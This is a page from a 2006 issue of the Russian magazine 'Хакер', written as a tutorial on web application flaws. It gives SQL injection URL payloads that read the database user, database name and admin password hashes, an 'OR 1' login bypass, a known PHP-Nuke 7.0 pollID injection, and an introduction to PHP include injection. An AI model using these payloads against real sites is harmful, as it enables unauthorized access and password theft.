Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #67, ИЮНЬ 2006 г.

конструктивные просчеты

ЕКАТЕРИНА СЕДОВА

Спецвыпуск: Хакер, номер #067, стр. 067-056-2


http://test.test/news.php?id=-20+UNION+SELECT+null

Пустые значения добавляются к запросу до тех пор, пока на странице не исчезнет ошибка и не начнется вывод результата с пустыми данными. В данном случае должно быть два пустых значения:

http://test.test/news.php?id=-20+UNION+SELECT+null,null

Затем вот таким нехитрым способом ты сможешь узнать:

1 ЛОГИН ТЕКУЩЕГО ПОЛЬЗОВАТЕЛЯ БАЗЫ ДАННЫХ

http://test.test/news.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

2 ИМЯ БАЗЫ ДАННЫХ

http://test.test/news.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

3 ПАРОЛЬ ИЛИ ХЭШ ПАРОЛЯ АДМИНА

http://test.test/news.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.users

Достаточно чувствительное к SQL-инъекциям место в коде — это авторизация пользователей. Очень часто запрос, проверяющий верность данных авторизации, выглядит следующим образом:

SELECT * FROM `users` WHERE `login`='$login' AND `password`='$password';

Где $login и $password — это переменные, которые передаются из формы. Запрос возвращает либо данные пользователя, если такой нашелся в базе, либо пустой результат.

Соответственно, чтобы несанкционированно пройти авторизацию, злоумышленнику достаточно модифицировать запрос так, чтобы тот вернул ненулевой результат, для чего задается логин, реально существующий в системе. Если злодей имеет дело с форумом или крупным порталом, он найдет подходящие логины без труда: логины пользователей выводятся открыто. Если же он пытается получить доступ к административной части сайта, то, может быть, попытается подобрать логин — adm, _adm, admin, administrator, chief, boss и проч. Вместо пароля указывается какое-либо истинное условие, к примеру OR 1.

Если проверка типизации данных, поступивших из формы, отсутствует, запрос к БД будет сформирован вот так:

SELECT * FROM `users` WHERE `login`='admin' AND `password`='' OR 1;

Просто и красиво :).

пример классической SQL-инъекции

Небезызвестная программа PHP-Nuke 7.0 FINAL. Уязвимость была обнаружена в модуле Survey. Удаленный атакующий сможет внедрить произвольный SQL-код, используя отсутствие фильтрации переменной pollID:

www.victim.com/php-nuke/modules.php?name=Surveys&pollID=a'[sql_code_here]

Эта уязвимость пригодится для получения хэшей паролей пользователей портала.

[PHP-инъекции] — второй распространенный вид атак на сайты. Метод реализации заключается в передаче функциям include() и require() произвольных параметров, что может привести к выполнению произвольного кода на серверной машине с серверными же правами. PHP-инъекции особо опасны, так как при стандартной сборке PHP и конфигурации web-сервера возможно получить доступ к использованию командного интерпретатора.

пример PHP-инъекции

Да-да, до сих пор существуют сайты, передающие файл для include’а через URL. Не веришь? Проверим.

Назад на стр. 067-056-1  Содержание  Вперед на стр. 067-056-3